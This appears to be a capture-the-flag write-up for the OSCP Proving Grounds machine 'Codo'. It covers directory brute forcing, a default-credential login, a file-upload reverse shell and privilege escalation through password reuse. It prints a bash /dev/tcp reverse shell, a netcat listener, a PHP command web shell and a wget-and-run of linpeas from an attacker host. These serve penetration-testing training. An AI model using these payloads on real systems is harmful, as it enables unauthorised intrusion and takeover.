Codo – OSCP Proving Grounds
ToxSec | Codo offers a realistic OSCP-style challenge with a web-based foothold.
0x00 Introduction
Codo is a case study in why fundamentals never die. There’s no exotic exploit chain here — just:
Default credentials opening the admin panel.
Weak file upload validation letting a reverse shell slip through.
Password reuse handing over root.
The box gives you options, too: you could weaponize a known vuln like PwnKit (CVE-2021-4034), or take the cleaner route with stolen creds. Either way, the lesson is the same: boring flaws, when stacked, are deadly.
Sidebar: Default Creds Are Everywhere
Checking for admin:admin
feels almost silly — until it works. In CTFs it’s common, but don’t assume it’s unrealistic. In the wild, you’ll still find:
Jenkins panels with
admin:admin
.Routers and IoT devices left on factory defaults.
Internal staging apps devs assume “nobody will find.”
Hunter takeaway: Always test default creds before you overthink. It costs nothing and sometimes buys you the entire foothold.
0x1 Initial Enumeration
Port Scan
Standard sweep to see the surface:
nmap -sC -sV --open 192.168.204.23
Results:
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
SSH was there but useless without creds. That meant pivoting to web.
Web Brute Force
Launched Gobuster:
gobuster dir -u http://192.168.204.23 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
Findings:
/admin – login panel
/uploads – 403 Forbidden
/css – static assets
/admin
gave a login form. /uploads
denied access, but the 403 told me it existed — likely tied to file management or upload features.
First Foothold
Tried the laziest creds on /admin
:
admin : admin
And it worked. Logged straight in.
Sidebar: Why 403 = A Lead
When brute forcing web directories, a 403 Forbidden
is almost as good as 200 OK
. It means the directory is real but restricted:
Upload repos (
/uploads
)Admin-only dirs (
/admin/config/
)Debug endpoints locked behind auth
Hunter takeaway: Always log 403s. Once you get credentials or a foothold, circle back. They’re often the prize waiting behind the gate.
0x2 Exploitation: File Upload → Reverse Shell
With panel access (thanks to admin:admin
), I started clicking around. The Global Settings menu exposed a logo uploader.
That was the entry point.
Exploit Research
Quick check with Searchsploit:
searchsploit codo
Found references to an arbitrary file upload vulnerability — the uploader only validated extensions, not content. Even without a working script, the description was enough.
Reverse Shell Prep
Set up a listener:
nc -lvnp 4444
Prepared a reverse shell payload. Classic Bash one-liner:
bash -c 'bash -i >& /dev/tcp/192.168.50.155/4444 0>&1'
Wrapped it into a .php
file (or disguised as an image with .php
extension if needed).
Upload + Trigger
Uploaded the file through the panel. Then browsed directly to it under /uploads/
:
http://192.168.204.23/uploads/shell.php
Netcat caught the connection:
connect to [192.168.50.155] from (UNKNOWN) [192.168.204.23] 4444
www-data@codo:/var/www/html$
Foothold secured as www-data.
Sidebar: Weaponizing Uploaders
Upload features are everywhere — profile pictures, logos, CVs, attachments. They’re also one of the most abused vectors in web apps.
Common misconfig mistakes:
Extension-only filtering: blocking
.php
but not.phtml
,.php5
,.phar
.MIME-type trust: relying on client headers.
No storage restrictions: uploaded files go straight to a web-accessible folder.
Weak renaming: attacker files keep predictable names.
Exploitation flow for hunters:
Find the upload feature.
Test alternate extensions (
.phtml
,.phar
).Drop a simple
<?php system($_GET['cmd']); ?>
for confirmation.Escalate to a full reverse shell.
Takeaway: Any time you see an uploader, treat it as high-value. It’s one of the cleanest ways to go from web → code execution.
0x3 Privilege Escalation: Multiple Paths to Root
With a foothold as www-data, it was time to go hunting.
SUID Check
find / -perm -4000 -type f 2>/dev/null
Results included:
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/su
That pkexec
stood out — version check confirmed it was 0.105, vulnerable to PwnKit (CVE-2021-4034). Normally, this is game over. But the machine didn’t have a compiler installed, which makes dropping an exploit binary trickier.
LinPEAS Recon
Uploaded and ran LinPEAS:
wget http://<attacker-ip>/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Among the noise, it flagged hardcoded credentials for a user named offsec
.
Tried them:
su offsec
Success. Now I had an interactive shell as offsec
.
Password Reuse
The real kicker? The same credentials worked for root:
su root
Logged straight in. Root flag captured.
Sidebar: Password Reuse as Priv-Esc
Finding creds is only half the battle. The next step should always be: where else do these work?
In real-world environments, password reuse is rampant:
Developers reuse service creds for root.
Admins mirror their login creds across multiple accounts.
Passwords discovered in configs or logs often unlock higher-privilege users.
In CTFs, this pattern is deliberate — it teaches you to try lateral moves and privilege pivots. But in the wild, it’s the same story: lazy password hygiene turns one leaked secret into domain-wide compromise.
Hunter takeaway: Anytime you uncover a credential, test it everywhere — other users, root, databases, web panels. It’s one of the fastest privilege escalation vectors you’ll ever find.
0x4 Debrief
Codo is a fundamentals-first box that proves you don’t need advanced exploits to win. The chain was straightforward:
Default creds unlocked the admin panel.
File upload misconfig dropped us a shell.
Privilege escalation had options:
Exploit
pkexec
via PwnKit (CVE-2021-4034).Or — faster and cleaner — reuse discovered creds for root.
The key lesson: attackers thrive on small, predictable mistakes. Default creds, weak upload validation, and password reuse are all “boring” flaws — until they’re stacked into full compromise.
Sidebar: Multiple Escalation Paths
Real-world attackers don’t stop at the first working exploit. They map every possible route to root. Why?
Reliability: One exploit might fail or crash the box. A second path is your backup.
Stealth: Some privesc methods (like PwnKit) are noisy. Others (like password reuse) are quiet. Choose the one that fits your op.
Persistence: If defenders patch one vuln, you can pivot with another.
Hunter takeaway: Always enumerate beyond your first success; knowing multiple escalation options is tradecraft.
0x5 Command Recap
# Recon
nmap -sC -sV --open 192.168.204.23
gobuster dir -u http://192.168.204.23 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
# Foothold
# Login to /admin with admin:admin
# Upload PHP reverse shell via logo uploader
nc -lvnp 4444
# Priv-Esc Options
find / -perm -4000 -type f 2>/dev/null
pkexec --version
wget http://<attacker-ip>/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh
su offsec
su root
# Proof
cat /home/admin/proof.txt